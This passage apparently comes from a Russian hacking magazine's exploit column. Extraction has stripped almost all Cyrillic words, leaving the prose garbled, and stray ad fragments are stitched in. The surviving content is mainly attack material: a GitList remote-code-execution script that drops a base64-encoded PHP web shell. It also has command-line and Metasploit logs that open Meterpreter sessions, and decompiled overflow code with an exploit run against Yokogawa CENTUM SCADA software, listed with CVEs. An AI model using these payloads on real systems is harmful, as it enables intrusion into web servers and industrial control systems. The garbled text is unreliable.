    path = "/var/www/gitlist/cache" # # Base64- - payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo=" # URL-mpath = '/blame/master/""'echo {0}|base64 -d > {1}/x.php''.format(payload, path)mpath = url+ urllib.quote(mpath)out = getoutput("wget %s" % mpath)

    GitList - 777 , Base64. . - , :

    http://localhost/gitlist/cache/x.php?cmd=ls

    - (bit.ly/1jnb07k).

    :

    root@kali:~/# python gitlist_rce.py http://localhost/gitlist/graymatter[!] Using cache location /var/www/gitlist/cache[!] Shell dropped; go hit http://localhost/ gitlist/cache/x.php?cmd=lsroot@kali:~/# curl http://localhost/gitlist/ cache/x.php?cmd=iduid=33(www-data) gid=33(www-data) groups=33 (www data)

    Metasploit-:

    msf > use exploit/linux/http/gitlist_execmsf exploit(gitlist_rce) > rexploit[*] Reloading module...[*] Started reverse handler on 192.168.81.6:4444 [*] Injecting payload...[*] Executing payload..[*] Sending stage (39848 bytes) to 192.168.81.67[*] Meterpreter session 9 opened (192.168.81.6:4444 -> 192.168.81.67:34241) at 2014-07-10 1:32:01 +0300 meterpreter >

    TARGETS GitList

  • , - . Yokogawa CENTUM CS3000 RootedCON, - . Yokogawa CENTUM CS 3000 R3 1998 , Windows .

    Yokogawa CENTUM CS3000 - . - .

    BKFSim_vhfd.exe - . FCS / Test Function 20010 (TCP UDP). , - UDP- 20010 - , CENTUM.

    sub_403E10 (IDA - ), , , , - BKFSim_vhfd.exe. - , - , ( ;)). -, .

    , , :

    BOOL sub_403E10(BOOL a1, const char *Format, ...) { unsigned int v2; // ecx@1 BOOL result; // eax@1 unsigned int v4; // ebx@7 void *v5; // edi@7 HANDLE v6; // edx@7 unsigned int v7; // ecx@7 // [sp+0h] [bp-220h]@7 struct _SYSTEMTIME SystemTime; // [sp+14h] [bp-20Ch]@7 DWORD NumberOfBytesWritten; // [sp+18h] [bp-208h]@7 //Overfl ow 2 char Buffer[260]; // [sp+11Ch] [bp-104h]@4 //Overfl ow 1 char Dest[260]; va_list va; // [sp+22Ch] [bp+Ch]@1 va_start(va, Format); HIWORD(v2) = 0; *((_WORD *)lpBaseAddress + 192) = 61; result = a1; LOWORD(v2) = *((_WORD *)lpBaseAddress + 177); if ( v2 >= a1 && Format && hObject != (HANDLE)-1 ) { memset(Dest, 0, 0x100u); Dest[256] = 0; if ( strlen(Format) < 0x100 ) /* 1: vsprintf */ vsprintf(Dest, Format, va); else sprintf(Dest, "data size too big (>= %i)", 256); GetLocalTime(&SystemTime); sprintf( &Buffer, "%02d/%02d/%02d %02d:%02d:%02d:%03d: :sim_vhfd", SystemTime.wYear % 100, SystemTime.wMonth, SystemTime.wDay, SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond,

    SystemTime.wMilliseconds); v4 = strlen(Dest) + 1; /* v5 Buffer, */ v5 = &Buffer + strlen(&Buffer); /* 2: memcpy */ memcpy(v5, Dest, 4 * (v4 >> 2)); v6 = hObject; memcpy((char *)v5 + 4 * (v4 >> 2), &Dest[4 * (v4 >> 2)], v4 & 3); v7 = strlen(&Buffer); *(&Buffer + v7) = 13; Buffer[v7 - 1] = 10; WriteFile(v6, &Buffer, v7 + 2, &NumberOfBytesWritten, 0); result = FlushFileBuffers(hObject); *((_WORD *)lpBaseAddress + 192) = 62; } return result; }

    UDP- 20010 - , .

    -. HIS- FCS-. - : 16 (header):

    6 , 15 .

    4 (trail). ( HIS -

    ).

    , - . 8, : / ; ; ( HIS) .

    , - :

    "ERROR:HealthFromUDP():GetHostTblPosByName(hostname=%s) rtnno=%d"

    HIS , - hostname. .

    7

    . 7. HIS- FCS-

    08 /187/ 2014 75

  • -

    ?

    ,

    ?

    !

    -

    group.x

    akep.ru!

    !

    !

    ][!

    :

    ;

    ;

    .

    EXPLOIT HIS , , EIP-, - ( ), .

    Metasploit-. Windows XP SP3 Yokogawa CENTUM CS3000 R3.08.50:

    msf > use exploit/windows/scada/ yokogawa_bkfsim_vhfdmsf exploit(yokogawa_bkfsim_vhfd) >set RHOST 192.168.81.63 RHOST => 192.168.81.63msf exploit(yokogawa_bkfsim_vhfd) > rexploit

    [*] Reloading module...[*] Started bind handler[*] Trying target Yokogawa Centum CS3000 R3.08.50 Windows XP SP3 (English), sending 789 bytes...[*] Sending stage (769024 bytes) to 192.168.81.63[*] Meterpreter session 1 opened

    (192.168.81.1:58714 -> 192.168.81.63:4444) at 2014-07-15 22:13:41 +0300 meterpreter>

    . - CENTUM, -. Metasploit-: CVE-2014-0781 BKCLogSvr.exe. -

    UDP- 52302 . CVE-2014-0783 BKHOdeq.exe.

    TCP- 20171. CVE-2014-0784 BKBCopyD.exe. -

    TCP- 20111.

    TARGETS Yokogawa CENTUM CS 3000 R2.23.00; Yokogawa CENTUM VP R4.03.00; Yokogawa CENTUM CS 3000 Small R3.09.50; Yokogawa CENTUM VP Small R5.03.20; Yokogawa CENTUM VP Basic R5.03.20.

    SOLUTION .

    8 . 8. - 20010- Yokogawa CENTUM

    08 /187/ 201476

  • 10 /177/ 2013 Raspberry Pi 77

    : !

    , . Hint: .

  • : , , - , , . , , - . , , .

    ,

    1 , , -. , , . , -, - , - , . . , . -

    -/ . , Nmap -, . , - ISO 27001 , . . , , -, , - , .

    - - ( , , ) - . - . , , . - , - , . , - . . (goo.gl/WgpzvL).